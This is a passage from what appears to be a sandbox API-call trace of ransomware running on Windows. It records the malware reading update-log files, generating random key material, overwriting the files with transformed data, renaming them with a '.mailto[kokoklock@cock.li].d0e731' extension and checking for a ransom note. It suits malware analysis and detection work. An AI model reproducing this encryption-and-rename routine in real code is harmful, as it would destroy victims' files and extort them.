lpBuffer=0x342e478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x342e478*, lpNumberOfBytesWritten=0x25abfe80*=0x8, lpOverlapped=0x0) returned 1 [0081.349] WriteFile (in: hFile=0x458, lpBuffer=0x25abfe98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x25abfe98*, lpNumberOfBytesWritten=0x25abfe80*=0x4, lpOverlapped=0x0) returned 1 [0081.349] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25abfe80*=0x4, lpOverlapped=0x0) returned 1 [0081.349] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25abfe80*=0x6c, lpOverlapped=0x0) returned 1 [0081.350] WriteFile (in: hFile=0x458, lpBuffer=0x342e388*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x342e388*, lpNumberOfBytesWritten=0x25abfe80*=0x20, lpOverlapped=0x0) returned 1 [0081.350] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25abfe80, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25abfe80*=0x4, lpOverlapped=0x0) returned 1 [0081.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e388) returned 1 [0081.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e590) returned 1 [0081.350] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0081.350] CloseHandle (hObject=0x458) returned 1 [0081.350] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.350] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" [0081.350] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731" [0081.350] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.013.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.351] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.351] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.013.etl", dwFileAttributes=0x2020) returned 0 [0081.351] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0081.351] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.351] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.351] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0081.351] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348ba10) returned 1 [0081.351] RtlExitUserThread (Status=0x1) Thread: id = 1052 os_tid = 0x1774 [0081.348] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl")) returned 0x2020 [0081.353] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl", dwFileAttributes=0x20) returned 1 [0081.353] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.353] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25b3faec | out: lpFileSize=0x25b3faec*=12288) returned 1 [0081.354] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.354] ReadFile (in: hFile=0x458, lpBuffer=0x25b3fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x25b3fac0*, lpNumberOfBytesRead=0x25b3fabc*=0x4, lpOverlapped=0x0) returned 1 [0081.355] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.355] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e388 [0081.355] NtQuerySystemTime (in: CurrentTime=0x25b3fa98 | out: CurrentTime=0x25b3fa98*=132121176392559782) returned 0x0 [0081.355] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xa06fbe16 [0081.355] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xc029d548 [0081.355] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x2a74e797 [0081.355] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x48fb7aba [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xc2e2b268 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xa287cb26 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xbf097eb3 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x5fe2ffb2 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x224f4cbd [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xd174086b [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xaff60453 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x46f0be63 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x6f0d4e23 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x7da64a8 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x9c237c81 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x96d00269 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x6efa5ae1 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x5f5dff34 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x71f16152 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x5749f8d5 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xc2447210 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xff10dabf [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xe23b8527 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x843218c0 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xcd3d19d5 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xb0dd61bc [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x1a7c574c [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0xdda56988 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x255d2351 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x1331d975 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x3d657e16 [0081.356] RtlRandom (in: Seed=0x25b3faa4 | out: Seed=0x25b3faa4) returned 0x8d2710b2 [0081.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3d8 [0081.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3d8) returned 1 [0081.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.367] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x25b3fa98, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25b3fa98*=0x3000, lpOverlapped=0x0) returned 1 [0081.368] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25b3fa60 | out: lpNewFilePointer=0x0) returned 1 [0081.368] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x25b3fa94, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25b3fa94*=0x3000, lpOverlapped=0x0) returned 1 [0081.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3d8 [0081.368] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.368] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.368] WriteFile (in: hFile=0x458, lpBuffer=0x342e3d8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25b3fa90, lpOverlapped=0x0 | out: lpBuffer=0x342e3d8*, lpNumberOfBytesWritten=0x25b3fa90*=0x20, lpOverlapped=0x0) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3d8) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.369] WriteFile (in: hFile=0x458, lpBuffer=0x342e590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x342e590*, lpNumberOfBytesWritten=0x25b3fabc*=0x8, lpOverlapped=0x0) returned 1 [0081.369] WriteFile (in: hFile=0x458, lpBuffer=0x25b3fad4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x25b3fad4*, lpNumberOfBytesWritten=0x25b3fabc*=0x4, lpOverlapped=0x0) returned 1 [0081.369] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25b3fabc*=0x4, lpOverlapped=0x0) returned 1 [0081.369] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25b3fabc*=0x6c, lpOverlapped=0x0) returned 1 [0081.369] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25b3fabc*=0x20, lpOverlapped=0x0) returned 1 [0081.369] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25b3fabc, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25b3fabc*=0x4, lpOverlapped=0x0) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.369] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.370] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e590) returned 1 [0081.370] CloseHandle (hObject=0x458) returned 1 [0081.370] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.370] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" [0081.370] wcscat (in: _Dest=0x3475a10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731" [0081.370] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.014.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475a10) returned 1 [0081.375] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.014.etl", dwFileAttributes=0x2020) returned 0 [0081.375] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.375] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.375] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.375] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.375] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348bbd8) returned 1 [0081.375] RtlExitUserThread (Status=0x1) Thread: id = 1053 os_tid = 0x1778 [0081.377] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl")) returned 0x2020 [0081.377] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl", dwFileAttributes=0x20) returned 1 [0081.378] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.015.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.378] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x25bbfaa0 | out: lpFileSize=0x25bbfaa0*=4096) returned 1 [0081.378] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0xffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.378] ReadFile (in: hFile=0x458, lpBuffer=0x25bbfa74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x25bbfa74*, lpNumberOfBytesRead=0x25bbfa70*=0x4, lpOverlapped=0x0) returned 1 [0081.379] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.380] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.380] NtQuerySystemTime (in: CurrentTime=0x25bbfa4c | out: CurrentTime=0x25bbfa4c*=132121176392717456) returned 0x0 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x658b72ef [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x58248685 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xada0dc71 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x9c7ff368 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xa7e27695 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x228bd74b [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x31be4f11 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x35d3ae38 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xa0e6f23c [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xe13efe1c [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x2c948ce9 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x426969af [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xa5670d88 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x217d44e7 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xa6191feb [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x56bb82d3 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x293253e0 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x97ffac54 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x7fd25f5d [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x82882c43 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xcbb41839 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xefc8a341 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xbd09d1d0 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x745c6a2a [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x8a2d4372 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0xe6eb9567 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x4b20278d [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x3e66e8aa [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x6f4e1476 [0081.380] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x953ca72c [0081.381] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x6bd0660b [0081.381] RtlRandom (in: Seed=0x25bbfa58 | out: Seed=0x25bbfa58) returned 0x770e5f9 [0081.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.392] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.392] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.392] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x25bbfa4c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x25bbfa4c*=0x1000, lpOverlapped=0x0) returned 1 [0081.392] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25bbfa14 | out: lpNewFilePointer=0x0) returned 1 [0081.392] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x25bbfa48, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x25bbfa48*=0x1000, lpOverlapped=0x0) returned 1 [0081.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.393] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e428 [0081.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e428) returned 1 [0081.393] WriteFile (in: hFile=0x458, lpBuffer=0x342e400*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25bbfa44, lpOverlapped=0x0 | out: lpBuffer=0x342e400*, lpNumberOfBytesWritten=0x25bbfa44*=0x20, lpOverlapped=0x0) returned 1 [0081.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.393] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.393] WriteFile (in: hFile=0x458, lpBuffer=0x342e590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x342e590*, lpNumberOfBytesWritten=0x25bbfa70*=0x8, lpOverlapped=0x0) returned 1 [0081.393] WriteFile (in: hFile=0x458, lpBuffer=0x25bbfa88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x25bbfa88*, lpNumberOfBytesWritten=0x25bbfa70*=0x4, lpOverlapped=0x0) returned 1 [0081.393] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x25bbfa70*=0x4, lpOverlapped=0x0) returned 1 [0081.393] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x25bbfa70*=0x6c, lpOverlapped=0x0) returned 1 [0081.393] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x25bbfa70*=0x20, lpOverlapped=0x0) returned 1 [0081.394] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x25bbfa70, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x25bbfa70*=0x4, lpOverlapped=0x0) returned 1 [0081.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3d8) returned 1 [0081.394] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e590) returned 1 [0081.394] CloseHandle (hObject=0x458) returned 1 [0081.394] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xcc) returned 0x3475a10 [0081.394] wcscpy (in: _Dest=0x3475a10, _Source="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.015.etl" [0081.394] wcscat (in: 